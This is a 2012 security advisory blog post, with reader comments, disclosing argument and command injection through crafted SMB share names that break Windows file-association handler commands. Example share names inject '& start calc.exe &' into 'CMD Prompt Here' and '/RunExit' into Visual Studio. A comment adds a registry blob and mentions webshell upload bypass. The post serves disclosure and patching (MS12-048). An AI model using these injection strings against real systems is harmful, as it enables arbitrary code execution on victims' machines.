Background
Windows File Association allows an application to define a handler that should be called for each operation on a specific file type.
For example, WinRAR registers the file type .RAR in the following manner:
The Open action defined for this file type dictates how the handler should be called upon opening the file.
The command that will be executed for this example of WinRAR is:
"C:\Program Files\WinRAR\WinRAR.exe" "%1"
(Where the %1 is replaced with the filename that the client clicked on)
Theoretically if an attacker was able to create a file called
Stu"ff.rar
He will be able to break the command string.
Of course creating such a file under Windows seems to be impossible
Linux operating systems unlike Windows, do not limit the use of these special characters as part of a file's name.
Meaning an attacker can create a file called stu"ff.rar
In order to actually test this theory, the Windows operating system must have some sort of access to the file currently placed on another machine.
Most applications will fail horribly when trying to copy this file over to the Windows machine and the few that won't, just replace the quotes ( " ) with an underscore ( _ ).
The next possibility to access this file, is through NetBIOS shares, so I've installed a SAMBA server on my Linux machine, created some default shares and copied my malicious looking file in there.
Figure 1 - Linux view of the file
Figure 2 - Windows view of the file
Apparently Windows changes the display name for these files.
It does the same with folder names.
Vulnerability:
The one place missing this protection is the Share Name itself.
By editing the SAMBA configuration in the following way it is possible to create shares that include the forbidden special characters in their name.
Figure 3 - Editing the SAMBA configurations
Figure 4 - Viewing the shares under Windows
When executing a RAR file from the regular share2 folder, all works well.
However when double-clicking a RAR in the second share
WinRAR cannot seem to find the requested file
Viewing the created WinRAR.exe process in Process Explorer reveals the injection has worked.
Example attack scenario #1:
The following attack scenario will allow the attacker to create a malicious Share that targets the "CMD Prompt Here" behavior.
The way that "CMD Prompt Here" works is by launching the following command
"cmd.exe" /k cd %1
An attacker is able to create a new share named:
xxxxx & start calc.exe &
When a victim uses the "CMD Prompt Here" context menu against any folder under the share root, the executed command will be:
"cmd.exe" /k cd \\10.0.0.1\xxxxx & start calc.exe &\AnyOtherFolder
When CMD will start it will also execute calc.exe
Example attack scenario #2:
The following attack scenario will allow the attacker to create a link to a visual studio solution (.SLN) file that once opened will automatically compile and execute itself.
By creating three SMB shares named:
1. Test Injection "/RunExit \\9.148.197.235\share2
2. Test Injection "
3. share2
And the following folder tree under the mapped folder (/home/share2 in the case of this example)
Notice that the content of the ArgumentInjection folder is not shown.
It contains all the visual studio solution files and should not be changed.
The result of these configurations should look as such:
By entering the first (long) folder and opening the SLN file with the devenv.exe handler, the following command should be executed:
The devenv.exe handler receives four parameters:
- The first part of the path - "\\9.148.197.235\Test Injection "
- The injected parameter - /RunExit
- The injected path to be used - \\9.148.197.235\share2\ArgumentInjection.sln
- The remaining part of the original path - .sln"
The first and last parameters are being ignored while the two middle parameters causes visual studio to compile and execute the desired solution.
Impact:
By using this technique, an attacker is able to inject custom arguments into every application that registered a file-type handler using the described method.
Remediation:
Microsoft has issued the following patch to address this issue
MS12-048 - http://technet.microsoft.com/en-us/security/bulletin/ms12-048
Discovered by - Adi Cohen, IBM Application Security Research
good post,and this might be an good idea to bypass some limitation of webshell uploading
Posted by: 丸子 | July 16, 2012 at 05:57 PM
nice one
Posted by: ct | July 16, 2012 at 07:03 PM
Windows does support this behavior if you set the value via a registry key re:
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\LanmanServer\Shares]
"for \"xxx & calc.exe"=hex(7):43,00,53,00,43,00,46,00,6c,00,61,00,67,00,73,00,\
3d,00,30,00,00,00,4d,00,61,00,78,00,55,00,73,00,65,00,73,00,3d,00,34,00,32,\
00,39,00,34,00,39,00,36,00,37,00,32,00,39,00,35,00,00,00,50,00,61,00,74,00,\
68,00,3d,00,43,00,3a,00,5c,00,54,00,65,00,73,00,74,00,00,00,50,00,65,00,72,\
00,6d,00,69,00,73,00,73,00,69,00,6f,00,6e,00,73,00,3d,00,30,00,00,00,52,00,\
65,00,6d,00,61,00,72,00,6b,00,3d,00,00,00,53,00,68,00,61,00,72,00,65,00,4e,\
00,61,00,6d,00,65,00,3d,00,66,00,6f,00,72,00,20,00,22,00,78,00,78,00,78,00,\
20,00,26,00,20,00,63,00,61,00,6c,00,63,00,2e,00,65,00,78,00,65,00,00,00,54,\
00,79,00,70,00,65,00,3d,00,30,00,00,00,00,00
Posted by: jp | July 17, 2012 at 03:55 AM
Very nice, I suspected this could be possible but haven't got around to it. thanks for sharing
Posted by: Adi Cohen | July 17, 2012 at 11:16 AM
You might be able to add
"mangled names = no"
to your smb.conf. That should prevent what you have in figure 2.
Posted by: Nick | July 17, 2012 at 06:16 PM
Hi Nick,
That's a great catch.
This could allow for a file with the following name to exist:
a/a.txt" .html
When a user double-click this file, the registered application will get access to a file named 'a.txt' under a folder named 'a'.
The attached image shows this scenario.
http://img821.imageshack.us/img821/8010/36262549.png
Updated machines will not accept a file whose name contains a double-quote sign.
Therefore breaking out of the string surrounding the path in order to add arguments or just truncate the path string itself (used in the example above) will not work.
However, it is possible to use the following file name:
a/a.html
To produce a case where patched systems will still open the file 'a.html' under the folder 'a' instead of the real file.
Posted by: Adi Cohen | July 17, 2012 at 08:12 PM